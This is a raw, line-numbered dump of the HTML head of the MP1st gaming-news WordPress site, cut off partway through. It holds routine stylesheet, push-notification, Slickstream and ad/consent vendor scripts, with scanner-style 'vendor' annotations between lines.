rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
167.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
168:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
169:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
170:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
171</style>
172<link rel='stylesheet' id='foobox-free-min-css' href='https://mp1st.com/wp-content/plugins/foobox-image-lightbox/free/css/foobox.free.min.css?ver=2.7.43' media='all' />
173<link rel='stylesheet' id='bafg_pro_style-css' href='https://mp1st.com/wp-content/plugins/beaf-before-and-after-gallery-pro/assets/css/bafg-pro-style.css?ver=4.4.0' media='all' />
174<style id='bafg_pro_style-inline-css'>
175
176			.bafg_filter_controls{
177				text-align: left;
178			}
179            .bafg_filter_controls .bafg-filter-control{
180                border-radius: 2px;
181                color: #fff;
182                border-color: #0274be;
183                background-color: #0274be;
184                padding-top: 10px;
185                padding-right: 40px;
186                padding-bottom: 10px;
187                padding-left: 40px;
188            }
189
190            .bafg_filter_controls .bafg-filter-control:hover,
191            .bafg_filter_controls .bafg-filter-control:focus,
192            .bafg_filter_controls .bafg-filter-control.bafg-filter-active {
193                color: #fff;
194                border-color: #4ed444;
195                background-color: #4ed444;
196            }
197</style>
198<link rel='stylesheet' id='font-awesome-free-css' href='//use.fontawesome.com/releases/v5.6.3/css/all.css?ver=6.8.10' media='all' />
199<link rel='stylesheet' id='bafg-responsive-pro-css' href='https://mp1st.com/wp-content/plugins/beaf-before-and-after-gallery-pro/assets/css/responsive.css?ver=4.4.0' media='all' />
200<link rel='stylesheet' id='mp1st-style-css' href='https://mp1st.com/wp-content/themes/mp1st2024theme/style.css?ver=1.0.0' media='all' />
201<link rel='stylesheet' id='mp1st-font-awesome-css' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css?ver=6.6.0' media='all' />
202<link rel='stylesheet' id='mp1st-instrument-sans-css' href='https://fonts.googleapis.com/css2?family=Instrument+Sans:wght@400;500;600;700&#038;display=swap' media='all' />
203<link rel='stylesheet' id='mpfirst-theme-style-css-css' href='https://mp1st.com/wp-content/themes/mp1st2024theme/build/css/style.css?ver=6.8.10' media='all' />
204<link rel='stylesheet' id='darkmode-css-css' href='https://mp1st.com/wp-content/themes/mp1st2024theme/build/css/darkmode.css?ver=6.8.10' media='all' />
205<link rel='stylesheet' id='fontawesome-css-css' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css?ver=6.8.10' media='all' />
206<link rel='stylesheet' id='font-awesome-css' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css' media='all' />
207<link rel='stylesheet' id='tmm-css' href='https://mp1st.com/wp-content/plugins/team-members/inc/css/tmm_style.css?ver=6.8.10' media='all' />
208<script src="https://mp1st.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
vendor: 1 bytes, line 208
208
209<script src="https://mp1st.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
vendor: 1 bytes, line 209
209
210<script src="https://mp1st.com/wp-content/plugins/beaf-before-and-after-gallery/assets/js/jquery.event.move.js?ver=4.6.11" id="eventMove-js"></script>
vendor: 1 bytes, line 210
210
211<script src="https://mp1st.com/wp-content/plugins/beaf-before-and-after-gallery/assets/js/jquery.twentytwenty.js?ver=4.6.11" id="bafg_twentytwenty-js"></script>
vendor: 1 bytes, line 211
211
212<script src="https://mp1st.com/wp-content/themes/mp1st2024theme/js/mp1st.js?ver=6.8.10" id="mpfirst-theme-style-js-js"></script>
vendor: 1 bytes, line 212
212
213<script id="mpfirst-pagination-js-js-extra">
214var admin_ajax_object = {"ajaxurl":"https:\/\/mp1st.com\/wp-admin\/admin-ajax.php"};
215</script>
vendor: 1 bytes, line 215
215
216<script src="https://mp1st.com/wp-content/themes/mp1st2024theme/js/mp1st-pagination.js?ver=6.8.10" id="mpfirst-pagination-js-js"></script>
vendor: 1 bytes, line 216
216
217<script id="foobox-free-min-js-before">
218/* Run FooBox FREE (v2.7.43) */
219var FOOBOX = window.FOOBOX = {
220	ready: true,
221	disableOthers: false,
222	o: {wordpress: { enabled: true }, countMessage:'image %index of %total', captions: { dataTitle: ["captionTitle","title"], dataDesc: ["captionDesc","description"] }, rel: '', excludes:'.fbx-link,.nofoobox,.nolightbox,a[href*="pinterest.com/pin/create/button/"]', affiliate : { enabled: false }},
223	selectors: [
224		".foogallery-container.foogallery-lightbox-foobox", ".foogallery-container.foogallery-lightbox-foobox-free", ".gallery", ".wp-block-gallery", ".wp-caption", ".wp-block-image", "a:has(img[class*=wp-image-])", ".foobox"
225	],
226	pre: function( $ ){
227		// Custom JavaScript (Pre)
228		
229	},
230	post: function( $ ){
231		// Custom JavaScript (Post)
232		
233		// Custom Captions Code
234		
235	},
236	custom: function( $ ){
237		// Custom Extra JS
238		
239	}
240};
241</script>
vendor: 1 bytes, line 241
241
242<script src="https://mp1st.com/wp-content/plugins/foobox-image-lightbox/free/js/foobox.free.min.js?ver=2.7.43" id="foobox-free-min-js"></script>
242
243<link rel="https://api.w.org/" href="https://mp1st.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://mp1st.com/wp-json/wp/v2/pages/145721" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://mp1st.com/xmlrpc.php?rsd" />
244<meta name="generator" content="WordPress 6.8.10" />
245<link rel='shortlink' href='https://mp1st.com/' />
246<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://mp1st.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fmp1st.com%2F" />
247<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://mp1st.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fmp1st.com%2F&#038;format=xml" />
248  
248<script src="https://cdn.onesignal.com/sdks/web/v16/OneSignalSDK.page.js" defer></script>
248
249  
249<script>
250          window.OneSignalDeferred = window.OneSignalDeferred || [];
251          OneSignalDeferred.push(async function(OneSignal) {
252            await OneSignal.init({
253              appId: "33fcb968-7060-4573-8e95-f28878e4ce3e",
254              serviceWorkerOverrideForTypical: true,
255              path: "https://mp1st.com/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/",
256              serviceWorkerParam: { scope: "/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/push/onesignal/" },
257              serviceWorkerPath: "OneSignalSDKWorker.js",
258            });
259          });
260
261          // Unregister the legacy OneSignal service worker to prevent scope conflicts
262          if (navigator.serviceWorker) {
263            navigator.serviceWorker.getRegistrations().then((registrations) => {
264              // Iterate through all registered service workers
265              registrations.forEach((registration) => {
266                // Check the script URL to identify the specific service worker
267                if (registration.active && registration.active.scriptURL.includes('OneSignalSDKWorker.js.php')) {
268                  // Unregister the service worker
269                  registration.unregister().then((success) => {
270                    if (success) {
271                      console.log('OneSignalSW: Successfully unregistered:', registration.active.scriptURL);
272                    } else {
273                      console.log('OneSignalSW: Failed to unregister:', registration.active.scriptURL);
274                    }
275                  });
276                }
277              });
278            }).catch((error) => {
279              console.error('Error fetching service worker registrations:', error);
280            });
281        }
282        </script>
282
283	<style>img#wpstats{display:none}</style>
284		
285
286<!-- [slickstream] [[[ START Slickstream Output ]]] -->
287<script>console.info(`[slickstream] Page Generated at: 10/1/2026, 9:54:53 PM EST`);</script>
vendor: 1 bytes, line 287
287
288<script>console.info(`[slickstream] Current timestamp: ${(new Date).toLocaleString('en-US', { timeZone: 'America/New_York' })} EST`);</script>
288
289<!-- [slickstream] Page Boot Data: -->
290<script class='slickstream-script'>
291(function() {
292    "slickstream";
293    const win = window;
294    win.$slickBoot = win.$slickBoot || {};
295    win.$slickBoot.d = {"bestBy":1790906267543,"epoch":1736192561348,"siteCode":"K5WJ7PE7","services":{"engagementCacheableApiDomain":"https:\/\/c01f.app.slickstream.com\/","engagementNonCacheableApiDomain":"https:\/\/c01b.app.slickstream.com\/","engagementResourcesDomain":"https:\/\/c01f.app.slickstream.com\/","storyCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyNonCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyResourcesDomain":"https:\/\/stories.slickstream.com\/","websocketUri":"wss:\/\/c01b-wss.app.slickstream.com\/socket?site=K5WJ7PE7"},"bootUrl":"https:\/\/c.slickstream.com\/app\/3.1.11\/boot-loader.js","appUrl":"https:\/\/c.slickstream.com\/app\/3.1.11\/app.js","adminUrl":"","allowList":["mp1st.com"],"abTests":[],"wpPluginTtl":3600,"v2":{"phone":{"placeholders":[],"bootTriggerTimeout":250,"bestBy":1790906267543,"epoch":1736192561348,"siteCode":"K5WJ7PE7","services":{"engagementCacheableApiDomain":"https:\/\/c01f.app.slickstream.com\/","engagementNonCacheableApiDomain":"https:\/\/c01b.app.slickstream.com\/","engagementResourcesDomain":"https:\/\/c01f.app.slickstream.com\/","storyCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyNonCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyResourcesDomain":"https:\/\/stories.slickstream.com\/","websocketUri":"wss:\/\/c01b-wss.app.slickstream.com\/socket?site=K5WJ7PE7"},"bootUrl":"https:\/\/c.slickstream.com\/app\/3.1.11\/boot-loader.js","appUrl":"https:\/\/c.slickstream.com\/app\/3.1.11\/app.js","adminUrl":"","allowList":["mp1st.com"],"abTests":[],"wpPluginTtl":3600},"tablet":{"placeholders":[],"bootTriggerTimeout":250,"bestBy":1790906267543,"epoch":1736192561348,"siteCode":"K5WJ7PE7","services":{"engagementCacheableApiDomain":"https:\/\/c01f.app.slickstream.com\/","engagementNonCacheableApiDomain":"https:\/\/c01b.app.slickstream.com\/","engagementResourcesDomain":"https:\/\/c01f.app.slickstream.com\/","storyCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyNonCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyResourcesDomain":"https:\/\/stories.slickstream.com\/","websocketUri":"wss:\/\/c01b-wss.app.slickstream.com\/socket?site=K5WJ7PE7"},"bootUrl":"https:\/\/c.slickstream.com\/app\/3.1.11\/boot-loader.js","appUrl":"https:\/\/c.slickstream.com\/app\/3.1.11\/app.js","adminUrl":"","allowList":["mp1st.com"],"abTests":[],"wpPluginTtl":3600},"desktop":{"placeholders":[],"bootTriggerTimeout":250,"bestBy":1790906267543,"epoch":1736192561348,"siteCode":"K5WJ7PE7","services":{"engagementCacheableApiDomain":"https:\/\/c01f.app.slickstream.com\/","engagementNonCacheableApiDomain":"https:\/\/c01b.app.slickstream.com\/","engagementResourcesDomain":"https:\/\/c01f.app.slickstream.com\/","storyCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyNonCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyResourcesDomain":"https:\/\/stories.slickstream.com\/","websocketUri":"wss:\/\/c01b-wss.app.slickstream.com\/socket?site=K5WJ7PE7"},"bootUrl":"https:\/\/c.slickstream.com\/app\/3.1.11\/boot-loader.js","appUrl":"https:\/\/c.slickstream.com\/app\/3.1.11\/app.js","adminUrl":"","allowList":["mp1st.com"],"abTests":[],"wpPluginTtl":3600},"unknown":{"placeholders":[],"bootTriggerTimeout":250,"bestBy":1790906267543,"epoch":1736192561348,"siteCode":"K5WJ7PE7","services":{"engagementCacheableApiDomain":"https:\/\/c01f.app.slickstream.com\/","engagementNonCacheableApiDomain":"https:\/\/c01b.app.slickstream.com\/","engagementResourcesDomain":"https:\/\/c01f.app.slickstream.com\/","storyCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyNonCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyResourcesDomain":"https:\/\/stories.slickstream.com\/","websocketUri":"wss:\/\/c01b-wss.app.slickstream.com\/socket?site=K5WJ7PE7"},"bootUrl":"https:\/\/c.slickstream.com\/app\/3.1.11\/boot-loader.js","appUrl":"https:\/\/c.slickstream.com\/app\/3.1.11\/app.js","adminUrl":"","allowList":["mp1st.com"],"abTests":[],"wpPluginTtl":3600}}};
296    win.$slickBoot.rt = 'https://app.slickstream.com';
297    win.$slickBoot.s = 'plugin';
298    win.$slickBoot._bd = performance.now();
299})();
300</script>
300
301<!-- [slickstream] END Page Boot Data -->
302<!-- [slickstream] Embed Code -->
303<script id="slick-embed-code-script" class='slickstream-script'>
304"use strict";(async function(t,e){var o;if(location.search.includes("no-slick")){console.log("[Slickstream] Found `no-slick` in location.search; exiting....");return}const n="3.0.0";function i(){return performance.now()}function s(t,e="GET"){return new Request(t,{cache:"no-store",method:e})}function c(t){const e=document.createElement("script");e.className="slickstream-script";e.src=t;document.head.appendChild(e)}function a(t){return t==="ask"||t==="not-required"||t==="na"?t:"na"}async function r(t,e){let o=0;try{if(!("caches"in self))return{};const n=await caches.open("slickstream-code");if(!n)return{};let s=await n.match(t);if(!s){o=i();console.info(`[Slickstream] Adding item to browser cache: ${t.url}`);await n.add(t);s=await n.match(t)}if(!s||!s.ok){if(s){await n.delete(t)}return{}}const c=s.headers.get("x-slickstream-consent");if(!c){console.info("[Slickstream] No x-slickstream-consent header found in cached response")}return{t:o,d:e?await s.blob():await s.json(),c:a(c)}}catch(t){console.log(t);return{}}}async function l(o=false){let c;let l=Object.assign(Object.assign({},window.$slickBoot||{}),{_es:i(),rt:t,ev:n,l:r});const d=t.startsWith("https://")?"":"https://";const u=`${d}${t}/d/page-boot-data?site=${e}&url=${encodeURIComponent(location.href.split("#")[0])}`;const f=s(u);if(o){const{t:t,d:e,c:o}=await r(f);if(e&&e.bestBy>=Date.now()){c=e;if(t){l._bd=t}if(o){l.c=a(o)}}}if(!c){l._bd=i();const t=await fetch(f);const e=t.headers.get("x-slickstream-consent");l.c=a(e);try{c=await t.json()}catch(t){console.error(`[Slickstream] Error parsing page-boot-data from ${f.url}: ${(t===null||t===void 0?void 0:t.message)||""}`,t);return null}}if(c){l=Object.assign(Object.assign({},l),{d:c,s:"embed"})}return l}let d=(o=window.$slickBoot)!==null&&o!==void 0?o:{};if(!(d===null||d===void 0?void 0:d.d)||d.d.bestBy<Date.now()){const t=(d===null||d===void 0?void 0:d.consentStatus)||"denied";const e=t!=="denied";const o=await l(e);if(o){window.$slickBoot=d=o}}if(!(d===null||d===void 0?void 0:d.d)){console.error("[Slickstream] Boot failed; boot data not found after fetching");return}let u=d===null||d===void 0?void 0:d.d.bootUrl;if(!u){console.error("[Slickstream] Bootloader URL not found in boot data");return}let f;let w;if((d===null||d===void 0?void 0:d.consentStatus)&&d.consentStatus!=="denied"){const t=await r(s(u),true);f=t.t;w=t.d}else{f=i();const t=await fetch(s(u));w=await t.blob()}if(w){d.bo=u=URL.createObjectURL(w);if(f){d._bf=f}}else{d._bf=i()}window.$slickBoot=d;document.dispatchEvent(new CustomEvent("slick-boot-ready"));c(u)})("https://app.slickstream.com","K5WJ7PE7");
305</script>
305
306<!-- [slickstream] END Embed Code -->
307<!-- [slickstream] Page Metadata: -->
308<meta property='slick:wpversion' content='3.0.2' />
309<meta property="slick:wppostid" content="145721" />
310<script type="application/x-slickstream+json">{"@context":"https://slickstream.com","@graph":[{"@type":"Plugin","version":"3.0.2"},{"@type":"Site","name":"MP1st","url":"https://mp1st.com","description":"Multiplayer Gaming News, Patch Notes, Reviews, and Previews.","atomUrl":"https://mp1st.com/feed/atom","rtl":false},{"@type":"WebPage","@id":145721,"isFront":true,"isHome":false,"isCategory":false,"isTag":false,"isSingular":true,"date":"2021-03-13T02:27:58-05:00","modified":"2024-04-30T08:35:05-04:00","title":"Home","pageType":"home","postType":"page","author":"MP1st Staff"}]}</script>
310
311<!-- [slickstream] END Page Metadata -->
312<!-- [slickstream] WP-Rocket Detection -->
313<script id="slick-wp-rocket-detect-script" class='slickstream-script'>
314(function() {
315    const slickScripts = document.querySelectorAll('script.slickstream-script[type=rocketlazyloadscript]');
316    const extScripts = document.querySelectorAll('script[type=rocketlazyloadscript][src*="app.slickstream.com"]');
317    if (slickScripts.length > 0 || extScripts.length > 0) {
318        console.warn('[slickstream]' + ['Slickstream scripts. This ',
319        'may cause undesirable behavior, ', 'such as increased CLS scores.',' WP-Rocket is deferring one or more '].sort().join(''));
320    }
321})();
322</script>
322<!-- [slickstream] END WP-Rocket Detection -->
323<!-- [slickstream] [[[ END Slickstream Output ]]] -->
324
325
326<script data-no-optimize='1' data-cfasync='false' id='comscore-loader-86c50ec'>(function(){window.adthriveCLS.buildDate=`2026-09-30`;var e=class{},t=class extends e{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}};function n(e){"@babel/helpers - typeof";return n=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},n(e)}function r(e,t){if(n(e)!=`object`||!e)return e;var r=e[Symbol.toPrimitive];if(r!==void 0){var i=r.call(e,t||`default`);if(n(i)!=`object`)return i;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function i(e){var t=r(e,`string`);return n(t)==`symbol`?t:t+``}function a(e,t,n){return(t=i(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var o=class{constructor(){a(this,`_featureRollouts`,{}),a(this,`_checkedFeatureRollouts`,new Map),a(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let n=this._featureRollouts[e],r=n.enabled,i=n.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(i)){let e=(i.pct_enabled??100)/100;r&&=new t(e).get()}return r}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},s=class extends o{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEach(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},c,l;let u=(c=window.adthrive)==null||(c=c.siteAds)==null?void 0:c.featureRollouts,d=(l=window.adthriveCLS)==null||(l=l.siteAds)==null?void 0:l.featureRollouts,f=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,ee=new s(f(d)&&d||f(u)&&u||{}),p=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},m=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let h=navigator.userAgent,g=m(e=>/Chrom|Applechromium/.test(e||h)),_=m(()=>/WebKit/.test(h)),v=m(()=>g()?`chromium`:_()?`webkit`:`other`),y=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),b=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),x=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,S=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||x(e),C=m((e=h)=>S(e)?`tablet`:b(e)&&!S(e)?`mobile`:y(e)?`desktop`:`tablet`),w=e=>{let t=v(),n=C(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i};var T=class{constructor(){a(this,`name`,void 0),a(this,`disable`,void 0),a(this,`gdprPurposes`,void 0)}};let E=`__adthriveTcfApiStub`,D=`__tcfapiLocator`,O=[],k=!1,A,j=e=>typeof e==`function`&&!!e[E],M=(e,t=2)=>{let n=O.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(O.splice(n,1),!0)},N=()=>{let e=()=>{if(document.querySelector(`iframe[name="${D}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=D,document.body.appendChild(t)};e()},P=()=>{let e=window.__tcfapi;return typeof e==`function`&&!j(e)?e:void 0},F=()=>{let e=P();if(e)for(;O.length>0;){let t=O.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},I=()=>
326{if(k)return;if(k=!0,P()){F();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!j(t)&&F()}})},L=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return O;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:A,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(A=r,typeof n==`function`&&n(`set`,!0));return;default:O.push([e,t,n,r])}};return Object.defineProperty(e,E,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},R=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},z=()=>{if(I(),P())return!1;let e=!1;return j(window.__tcfapi)||(window.__tcfapi=L(),R(),e=!0),N(),window.__tcfapiQueue=O,e},B=(e,t=2,n,r)=>{if(e===void 0)return;let i=P();i?i(e,t,n,r):(O.push([e,t,n,r]),z())},V=(e,t=2,n,r)=>{B(e,t,n,r)},H=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,M(a,2),n(Error(`TCF API request timed out`)))},e)),V(`getTCData`,2,a)}),U=[`mcmpfreqrec`],W=new class extends T{constructor(...e){super(...e),a(this,`name`,`BrowserStorage`),a(this,`disable`,!1),a(this,`gdprPurposes`,[1]),a(this,`_sessionStorageHandlerQueue`,[]),a(this,`_localStorageHandlerQueue`,[]),a(this,`_cookieHandlerQueue`,[]),a(this,`_gdpr`,void 0),a(this,`_shouldQueue`,!1),a(this,`_storageConsentGranted`,void 0),a(this,`_storageConsentUpdateInFlight`,0),a(this,`_storageConsentBeforeLatestUpdate`,void 